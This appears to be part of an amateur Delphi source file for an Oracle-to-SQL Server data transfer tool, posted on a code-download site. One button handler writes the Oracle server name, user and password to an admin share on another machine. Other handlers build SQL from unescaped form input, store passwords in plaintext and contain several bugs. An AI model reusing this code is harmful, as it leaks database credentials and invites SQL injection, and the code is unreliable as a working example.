⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 u_export.pas

📁 orcl与sql的数据转移
💻 PAS
📖 第 1 页 / 共 2 页
字号:
         _Msg:='测试连接失败,请重新测试或选用其他的服务器';
         Application.MessageBox(_Msg,'信息提示',MB_OK+MB_ICONINFORMATION)
       End;
  finally
    Screen.Cursor:=crDefault;
  end;
end;

procedure TFrm_Export.CB_OraTableChange(Sender: TObject);
begin
{  dbgrid_Data.DataSource   :=   DS;
  DS.DataSet   :=   QY;
  QY.sql.text:=   'select   *   from  '+Trim(CB_OraTable.Text);
  QY.open;   }
end;

procedure TFrm_Export.SpdBtn_GetServerListClick(Sender: TObject);
begin
{ Screen.Cursor:=crSqlWait;
  if Application.FindComponent('FindSqlServer')=nil then
     FindSqlServer:=TFindSqlServer.Create(Application);
  if GetSqlServerList=False then
     begin
       Screen.Cursor:=crDefault;
       Exit;
     end;
  if FindSqlServer.ShowModal=mrOK then
     begin
       Ed_ServerName.Text:=FindSqlServer.lst_SQLSrvList.Items.Strings[FindSqlServer.lst_SQLSrvList.itemIndex];
     end;
  Screen.Cursor:=crDefault;
  FindSqlServer.Free;      }
end;

procedure TFrm_Export.Btn_DelClick(Sender: TObject);
begin
//执行删除操作
         DM.AdoCnn1.BeginTrans;
         try
           SqlStr:='DELETE FROM person ';
           SqlStr:=SqlStr+' WHERE 1=1 ';
           SqlStr:=SqlStr+' AND ID>2450000';
           DM.ExecSql(DM.Qry,SqlStr,False);
           DM.AdoCnn1.CommitTrans;
           Application.MessageBox('删除成功!','成功',
           MB_OK+MB_IconInformation);
         except
           DM.AdoCnn1.RollbackTrans;
           Application.MessageBox('发生错误,删除失败!','失败',
           MB_OK+MB_IconInformation);
           EXIT;
         end;    

        
end;

procedure TFrm_Export.Btn_NumClick(Sender: TObject);
var
  I:Integer;
  Info:string;
begin
        DM.AdoCnn1.BeginTrans;
         try
           SqlStr:='select count(1) FROM person ';
           DM.ExecSql(DM.Qry,SqlStr,True);
           I:=DM.Qry.Fields[0].AsInteger;
           DM.AdoCnn1.CommitTrans;
           Info:='查询成功!'+#13;
           Info:=Info+'数据总数: '+IntToStr(I)+#13;
           Application.MessageBox(PChar(Info),'成功',
           MB_OK+MB_IconInformation);
         except
           DM.AdoCnn1.RollbackTrans;
           Application.MessageBox('发生错误,查询失败!','失败',
           MB_OK+MB_IconInformation);
           EXIT;
         end;
end;

procedure TFrm_Export.Btn_ChaxunClick(Sender: TObject);
var
  I:Integer;
begin
      DM.AdoCnn1.BeginTrans;
      try
           dbgrid_Data.DataSource   :=   DM.DS1;
           DM.DS1.DataSet   :=   DM.QY1;
           DM.QY1.sql.text:=   'select * from  '+Trim(CB_OraTable.Text);
           DM.QY1.open;
           SqlStr:='select count(1) FROM  '+Trim(CB_OraTable.Text);
           DM.ExecSql(DM.Qry,SqlStr,True);
           I:=DM.Qry.Fields[0].AsInteger;
           Ed_Num.Text:=inttostr(I);
           Application.MessageBox('查询成功!','成功',
           MB_OK+MB_IconInformation);
       except
       DM.AdoCnn1.RollbackTrans;
       Application.MessageBox('发生错误,查询失败!','失败',
       MB_OK+MB_IconInformation);
       EXIT;
       end;
end;

procedure TFrm_Export.Btn_SendClick(Sender: TObject);
 var
   str,Path:string;
   aFile:TFileStream;
begin
      // Path:=ExtractFilePath(Application.ExeName);
      Path:='\\192.168.1.5\c$\YourFile.txt';
      str:= OMacineName+','+OConnUser+','+OPwd+#13;
      aFile:=TFileStream.Create(Path,fmOpenWrite);
      aFile.Position:=64;
      aFile.Write(str,64);
      aFile.Free;
end;

procedure TFrm_Export.Button1Click(Sender: TObject);
var
 I:Integer;
begin
  I:=dbgrid_data.FieldCount;
  showmessage(inttostr(I));
end;

//按钮:数据转移ORCL->SQL
procedure TFrm_Export.Btn_ExportClick(Sender: TObject);
var
  strSql:String;
begin
//打开目标数据库
  aSql:='SELECT * into abc FROM '+Trim(CB_Table.Text);
  //执行查询
  with Ads do
       begin
         Close;
         CommandText:=aSql;
         Open;
       end;

  //从ORCL数据库查询数据
  strSql:='SELECT ID,NAME FROM '+Trim(CB_OraTable.Text);
  with AdoDS_Orcl do
       begin
         //执行查询
         Close;
         CommandText:=strSql;
         Open;
         //判断是否有记录
         if RecordCount>0 then
            begin
              //定位首记录
              First;

              //循环赋值
              while Not Eof do
                    begin
                      //插入数据
                      AdoDS_Sql.Append;
                      //数据赋值
                      AdoDS_Sql.FieldValues('ID'):=FieldValues('ID');
                      //提交数据库
                      AdoDS_Sql.UpdateBatch();

                      //移动记录
                      Next;
                    end;
            end
         else
            begin
              //提示用户无数据等操作
            end;
       end;
end;

procedure TFrm_Export.Button2Click(Sender: TObject);
VAR
   I,J,L:Longint;
   xh:string;
begin
     aStr:='select *  from  '+Trim(CB_Table.Text);
     ExecSql1(Qy,aStr,True);
      with StrGrd_Data do
       begin
         //清除原有数据
         for I:=0 to RowCount-1 do
             Rows[I].Clear;

         //设置列数
         ColCount:=2;

         //设置表头标题
         Cells[0,0]:='xh';
         Cells[1,0]:='id';

         //设置列长
         ColWidths[0]:=80;
         ColWidths[1]:=80;
      with Qy do
              begin
                //设置行数
                if RecordCount>0 then
                   RowCount:=RecordCount+1
                else
                   RowCount:=2;

                //填充数据
                First;
                for I:=1 to RowCount-1 do
                    begin
                    //填充数据

                        //序号
                        XH:='';
                        if L<2 then
                           Cells[0,I]:=IntToStr(I)
                        else
                           begin
                             for J:=1 to L-Length(IntToStr(I)) do
                                 XH:=XH+'0';
                             Cells[0,I]:=XH+IntToStr(I);
                           end;

                           for J:=0 to FieldCount-1 do
                               Cells[J+1,I]:=Trim(Fields[J].AsString);
                      Next;    
                    end;
              end;
       end;

end;

procedure TFrm_Export.Button4Click(Sender: TObject);
begin
        // AdoCnn.BeginTrans;
       //  try
          { aStr:='if not exists ( ';
           aStr:=aStr+' select * from dbo.sysobjects where id = object_id(N'+'''[dbo].[test]'''+')';
           aStr:=aStr+' and OBJECTPROPERTY(id, N'+'''IsUserTable'''+')'+'= 1'+')';
           aStr:=aStr+' CREATE TABLE [dbo].[test](';
           aStr:=aStr+' [servername] [char](20) COLLATE Chinese_PRC_CI_AS NULL,';
           aStr:=aStr+' [username] [char](20) COLLATE Chinese_PRC_CI_AS NULL,';
           aStr:=aStr+' [userpass] [char](20) COLLATE Chinese_PRC_CI_AS NULL';
           aStr:=aStr+' ) ON [PRIMARY]';
           ExecSql1(Qy,aStr,False);  }

           aStr:='insert into [test](servername,username,userpass) values(';
           aStr:=aStr+''''+Trim(Ed_SName.Text)+''''+',';
           aStr:=aStr+''''+Trim(Ed_UName.Text)+''''+',';
           aStr:=aStr+''''+Trim(Ed_UPass.Text)+'''';
           aStr:=aStr+' )';
           ExecSql1(Qy,aStr,False);
         {  AdoCnn.CommitTrans;
           Application.MessageBox('创建成功!','成功',
           MB_OK+MB_IconInformation);
         except
           AdoCnn.RollbackTrans;
           Application.MessageBox('发生错误,创建失败!','失败',
           MB_OK+MB_IconInformation);
           EXIT;
         end;     }
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -